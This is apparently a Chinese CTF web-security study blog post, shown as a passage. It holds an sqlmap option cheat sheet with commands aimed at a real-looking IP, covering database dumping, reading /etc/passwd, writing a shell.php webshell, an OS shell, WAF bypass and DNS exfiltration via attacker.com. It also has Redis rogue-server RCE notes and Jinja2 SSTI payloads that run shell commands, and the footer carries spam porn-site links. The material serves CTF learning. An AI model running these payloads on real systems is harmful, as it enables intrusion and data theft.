      -u “URL” : 對于這種寫法,加*號掃描

      python sqlmap.py -u “http://target_url/param1/value1*/param2/value2

      四.配置目標參數

      -p :指定要掃描的參數

      python sqlmap.py -u “http://59.63.200.79:8003/?id=1&username=admin&password=123“ -p “username,id”

      —skip: 排除指定的掃描參數

      python sqlmap.py -u “http://59.63.200.79:8003/?id=1&username=admin&password=123“ —skip “username,id”

      —data: 指定掃描的參數,get/post都適用

      python sqlmap.py -u “http://59.63.200.79:8003/?id=1&username=admin&password=123“ —date=”username=admin&password=123”

      —param-del:改變分隔符,默認是&,因為有些網站不實用&傳遞多個數據。

      python sqlmap.py -u “http://59.63.200.79:8003/?id=1&username=admin&password=123“ —date=”username=admin;password=123” —param-del=”;”

      —cookie :使用cookie的身份認證

      python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —cookie=”security=low;PHPSESSID=121123131”

      —drop-set-cookie: 有時候發起請求后,服務器端會重新Set-cookie給客戶端,SQLmap默認會使用新的cookie,這時候可以設置此參數,表示還是用原來的cookie。

      python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —cookie=”security=low;PHPSESSID=121123131 —-drop-set-cookie”

      —user-agent :使用瀏覽器代理頭

      python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —user-agent=”aaaaaaaaa”

      —random-agent: 使用隨機的瀏覽器代理頭

      python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —random-agent

      —host :指定主機頭

      python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —host=”aaaaa”

      —referer=”aaaaaa” : 指定referer頭

      python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —referer=”aaaaaa”

      —headers :有些網站需要特定的頭來身份驗證

      python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —headers=”host:aaaa\nUser-Agent:bbbb”

      —method :指定請求方式,還有POST

      python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —method=GET

      —auth-type , —auth-cred: 身份認證,還有Digest、NTLM

      python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —auth-type Basic —auth-cred “user:pass”

      —auth-file=”ca.PEM” : 使用私鑰證書去進行身份認證,還有個參數—auth-cert,暫時不知道怎么用,沒遇到過

      —proxy :使用代理去掃描目標,代理軟件占用的端口在8080

      python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —proxy=”http://127.0.0.1:8080/

      —proxy-cred:使用代理時的賬號和密碼

      python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —proxy=”http://127.0.0.1:8080/“ —proxy-cred=”name:pass”

      —ignore-proxy : 忽略系統級代理設置,通常用于掃描本地網絡目標,本網段。

      python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —ignore-proxy

      五.配置目標行為

      —force-ssl:使用HTTPS連接進行掃描

      python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —force-ssl

      —delay:每次http請求之間的延遲時間,默認無延遲

      python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —delay=”3”

      —timeout:請求超時時間,浮點數,默認為30秒

      python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —timeout=”10”

      —retries:http連接的重試次數,默認3次

      python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —retries=”1”

      —randomize:長度、類型與原始值保持一致的情況下,隨機參數的取值。比如id=100 -> id=1??

      python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —randomize=”id”

      —safe-url:檢測盲注階段時,sqlmap會發送大量失敗請求,可能導致服務器端銷毀session

      python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —safe-url=”URL”

      —safe-freq : 每發送多少次注入請求后,發送一次正常請求,配合—safe-url使用。

      python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —safe-freq

      —time-sec: 基于時間的注入檢測相應延遲時間,默認5秒

      python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —time-sec=”3”

      —union-cols :默認聯合查詢1-10列,隨—level增加,最多支持100列。

      python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —union-cols 6-9

      —union-char:聯合查詢默認使用null,極端情況下可能失敗,此時可以手動執行數值

      python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —union-char 123

      —technique US : 指定檢測注入時所用技術,默認情況下Sqlmap會使用自己支持的全部技術進行檢測,有B、E、U、S、T、Q

      python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —technique US

      六.優化探測過程

      —level 2:檢測cookie中是否含有注入、3:檢測user-agent、referer是否含有注入、5:檢測host是否含有注入

      python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —level 3

      —risk 默認1,最高4,等級高容易造成數據被篡改風險

      python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —risk 3

      —predict-output : 優化檢測方法,不斷比對大數據,縮小檢測范圍,提高效率,與—threads參數不兼容

      python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —predict-output

      —keep-alive : 長連接、性能好,避免重復建立的網絡開銷,但大量長連接會占用服務器資源。與—proxy參數不兼容

      python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —keep-alive

      —null-connection : 只獲取頁面大小的值,通常用于盲注判斷真假,與—text-only 不兼容

      python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —null-connection

      -o : 直接開啟以上三個(—predict-output、—keep-alive、—null-connection)

      python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ -o

      —threads=7 :提高并發線程,默認為1,建議不要超過10,否則影響站點可用性,與—predict-out不兼容

      python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —threads=7

      —string=”woaini” : 頁面比較,用于基于布爾注入的檢測,因為有時候頁面隨時間閾值變化,此時需要人為指定標識真假的字符串

      除此之外,還有—not-string=”woaini”、—code=200、—titles=”Welcome”等等

      python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —string=”woaini”

      七.特定目標環境

      —skip-urlencode :默認get傳參會使用URL編碼,但有些服務器沒按規范,使用原始字符提交數據

      python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —skip-urlencode

      —eval :在提交前,對參數進行pyhton的處理,提升效率

      python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —eval=”import hashlib;hash=hashlib.md5(id).hexdigest()”

      —dbms : 指定數據庫類型,還可以加上版本 Mysql<5.0>

      python sqlmap.py -u “http://59.63.200.79:8003/?id=1” —dbms=”Mysql”

      —os : 指定操作系統,還可以是Linux

      python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —os=”Windows”

      —invalid-bignum :sqlmap默認使用負值讓參數進行失效,該參數使用最大值讓參數失效,比如 id=9999999

      python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —invalid-bignum

      —invalid-logical :使用布爾值,比如 id 13 and 18=19

      python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —invalid-logical

      —no-cast: 將sqlmap取出的數據轉換為字符串,并用空格替換NULL結果,在老版本時需要開啟此開關。

      python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —no-cast

      —no-escape:為了逃逸服務器端對sqlmap的檢測,默認使用char()編碼替換字符串。本參數將關閉此功能。比如 select ‘foo’ —> select cahr(102) + char(111) + char(111)

      python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —no-escape

      —prefix:添加前綴

      python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —prefix “‘)’”

      —suffix :添加后綴

      python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —suffix “AND (‘abc’=’abc”

      —tamper:使用腳本,繞過IPS、WAF等

      python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —tamper=”tamper/between.py,tamper/randomcase.py”

      —dns-domain:攻擊者控制了DNS服務器,可以提高取出數據的效率

      python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —dns-domain attacker.com

      —second-order:在一個頁面注入的結果,從另外一個頁面提現出來

      python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —second-order “http://1.1.1.1/b.php

      八.查看基本信息

      -f :掃描時加入數據庫指紋檢測

      python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ -f

      -b : 查看數據庫的版本信息

      python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ -b

      九.查看數據信息

      —users : 查詢所有的數據庫賬號

      python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —users

      —dbs : 查詢所有數據庫

      python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —dbs

      —schema : 查詢源數據庫(包含定義數據的數據)

      python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —schema

      -a : 查詢當前user、當前數據庫、主機名、當前user是否是最大權限管理員、數據庫賬號等

      python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ -a

      -D dvwa: 指定數據庫

      python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ -D database_name

      —current-user : 查詢當前數據庫用戶

      python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —current-user

      —current-db : 查詢當前數據庫

      python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —current-db

      —hostname : 查看服務器的主機名

      python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —hostname

      —Privileges -U username : 查詢username的權限

      python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —Privileges -U username

      —roles :查詢角色

      python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —roles

      —tables : 查看所有的表

      python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —tables

      -T : 指定表

      python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ -T table_name

      —columns : 查看所有的字段

      python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —columns

      -C : 指定字段

      python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ -C column_name

      —count : 計數,查看有多少條數據

      python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —count

      —exclude-sysdbs : 排除系統庫

      python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —exclude-sysdbs

      —dump : 查看數據

      python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —dump

      —start 3 : 查看第三條

      python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —start 3

      —end 4 : 查看第四條

      python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —end 4

      —sql-query “select * from users” : 執行語句

      python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —sql-query “select * from users”

      —common-columns : 暴力破解字段,應用于兩種情況:①無權限讀取數據。②mysql<5.0 ,沒有infomation_schema庫

      python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —common-columns

      —common-tables : 暴力破解表

      python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —common-tables

      十.其他參數

      —batch : 自動選是

      python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —batch

      —charset:強制字符編碼

      python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —charset=GBK

      —crawl:爬站深度

      python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —crawl=3

      —csv-del:指定csv文件的分隔符

      python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —csv-del=”;”

      —flush-session : 清空session

      python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —flush-session

      —force-ssl : 強制使用HTTPS

      python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —force-ssl

      —fresh-queries : 重新檢測,不使用本地已查詢的數據

      python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —fresh-queries

      —hex : 以16進制的形式編碼dump出來的數據

      python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —hex

      —parse-errors : 分析和顯示數據庫內建報錯信息

      python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —parse-errors

      —answer : 回答

      python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —answer=”extending=N”

      —check-waf : 檢測WAF/IPS/IDS

      python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —check-waf

      —hpp : 繞過WAF/IPS/IDS

      python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —hpp

      —identify-waf : 徹底檢測WAF/IPS/IDS

      python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —identify-waf

      —mobile : 模擬智能手機設備

      python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —mobile

      —purge-output : 清除output文件夾

      python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —purge-output

      —smart : 當有大量檢測目標時,只選擇基于錯誤的檢測結果

      python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —smart

      十一.高級注入參數

      —file-read:文件系統訪問

      python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —file-read=”/etc/passwd”

      —file-write、—file-dest :寫文件到目標位置

      python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —file-write=”shell.php” —file-dest “/tmp/shell.php”

      —sql-shell : 進入交互式mysql窗口

      python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —sql-shell

      —os-shell : 進入命令行窗口

      python sqlmap.py -u “http://59.63.200.79:8003/?id=1“ —os-shell

      使用Tor代理

      sqlmap.py -u http://navisec.it/123.asp?id=1 —tor -tor-type=SOCKS5 —tor-port=9050 —check-tor

      (二)redis

      redis提權

      redis未授權訪問漏洞三種提權方式

      有文件上傳權限時

      例:[NSSCTF - [天翼杯 2021]esay_eval (ctfer.vip)](https://www.ctfer.vip/problem/364)

      通過找到redis密碼,使用蟻劍插件進行鏈接,MODULE LOAD命令,在命令行下運行惡意腳本exp.soGitHub - Dliv3/redis-rogue-server: Redis 4.x/5.x RCE,之后使用system.exec "<執行的命令>"來獲得終端權限。

      (三)MongoDB

      六、驗證漏洞和邏輯漏洞

      (一)文件上傳

      (二)遠程執行

      這里的遠程執行是一個泛指,意思是能夠通過已經暴露的危險后門函數來執行你的操作。

      PHP常見的危險函數:

      一、eval()

      eval是一個可以執行php代碼的函數,在eval函數形參列表傳入一個合法的php語句即可執行。
      它常被與system()函數一起使用。system函數可以執行系統的命令,因而通過eval就可以間接控制目標電腦。
      入門參考NSSCTF[SWPU2022]webdog1__start

      七、服務器模板渲染引擎注入

      [Smarty]

      在smarty中,低版本可以使用{php} {/php}標簽執行php代碼,新版本(3.1左右)不支持此標簽,但仍然可以構造,{if phpinfo()}{/if},在if標簽中可以添加php代碼。

      [jinja2/flask]

      1.控制結構 {% %}

      {% if user %}
      
      Hello,{{user}} !
      
      {% else %}
      
      Hello,Stranger!
      
      {% endif %}
      

      2.變量取值 {{ }}

      jinja2模板中使用 {{ }} 語法表示一個變量,它是一種特殊的占位符。當利用jinja2進行渲染的時候,它會把這些特殊的占位符進行填充/替換,jinja2支持python中所有的Python數據類型比如列表、字段、對象等。

      3.注釋 {# #}

      由于jinja由python開,發python2與3差別較大,為了找到兩個版本都通用的函數來進行注入,我們一般直接使用如下payload

      {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('tac /flag.txt').read()") }}{% endif %}{% endfor %}
      

      第一句是為了獲得子類,第二句為了獲得找到了一個python2/3都有__builtins__的類 _IterationGuard的位置從而執行

      或者直接從globals中尋找

      {% for c in [].__class__.__base__.__subclasses__() %}
      {% if c.__name__ == 'catch_warnings' %}
        {% for b in c.__init__.__globals__.values() %}
        {% if b.__class__ == {}.__class__ %}
          {% if 'eval' in b.keys() %}
            {{ b['eval']('__import__("os").popen("id").read()') }}
          {% endif %}
        {% endif %}
        {% endfor %}
      {% endif %}
      {% endfor %}
      

      [Thymeleaf]

      Thymeleaf SSTI 分析以及最新版修復的 Bypass - panda | 熱愛安全的理想少年 (cnpanda.net)

      八、linux和windows

      (一)常用命令

      文件讀取

      cat:正序讀取文件內容并輸出
      tac:倒序讀取文件內容并輸出
      nl:與cat相同,但顯示行號
      less:顯示行號,只能顯示一頁
      tail:查看前10行
      head:與tail相似
      

      九、常用工具

      Python庫

      requests庫

      import requests
      

      BeautifulSoup4庫

      BeautifulSoup4是爬蟲必學的技能。BeautifulSoup最主要的功能是從網頁抓取數據,Beautiful Soup自動將輸入文檔轉換為Unicode編碼,輸出文檔轉換為utf-8編碼。BeautifulSoup支持Python標準庫中的HTML解析器,還支持一些第三方的解析器,如果我們不安裝它,則 Python 會使用 Python默認的解釋器。

      BeautifulSoup4將復雜HTML文檔轉換成一個復雜的樹形結構,每個節點都是Python對象,所有對象可以歸納為4種:

      • Tag
      • NavigableString
      • BeautifulSoup
      • Comment
      posted @ 2023-02-27 21:47  lamaper  閱讀(826)  評論(0)    收藏  舉報

      友情鏈接 jiuler

      主站蜘蛛池模板: 溆浦县| 国产精品欧美福利久久 | 亚洲熟妇无码另类久久久| 国产精品一区二区不卡91| 亚洲人成电影网站色mp4| 亚洲最大成人免费av| 国产亚洲精品在av| 大胆欧美熟妇xxbbwwbw高潮了 | 另类 专区 欧美 制服| 中文字幕日韩精品人妻| 久久婷婷成人综合色| 一区二区在线观看成人午夜| 日韩精品国产中文字幕| 国产成人一区二区三区影院动漫| 国内精品久久久久电影院| 中文字幕无线码免费人妻| 内射干少妇亚洲69XXX| 国产尤物精品自在拍视频首页| 丝袜美腿亚洲综合第一页| 毛片无码免费无码播放| 午夜av福利一区二区三区 | 国产主播精品福利午夜二区| 国产一区二区高清不卡| 中文字幕日韩国产精品| 亚洲国产成人精品无色码| 国产精品高清国产三级囯产AV| 色猫咪av在线观看| 天堂а√8在线最新版在线| 久久精品国产清自在天天线| 国产 麻豆 日韩 欧美 久久| 亚洲高潮喷水无码AV电影| 国产成人无码av一区二区| 成人网站免费看黄a站视频| 国产精品深夜福利在线观看| 国内精品久久久久影院网站| 最新国产麻豆AⅤ精品无码| 亚洲av乱码久久亚洲精品| 国内少妇人妻偷人精品视频| 亚洲国产成人无码av在线播放| 欧美xxxxx高潮喷水| 日韩深夜福利视频在线观看|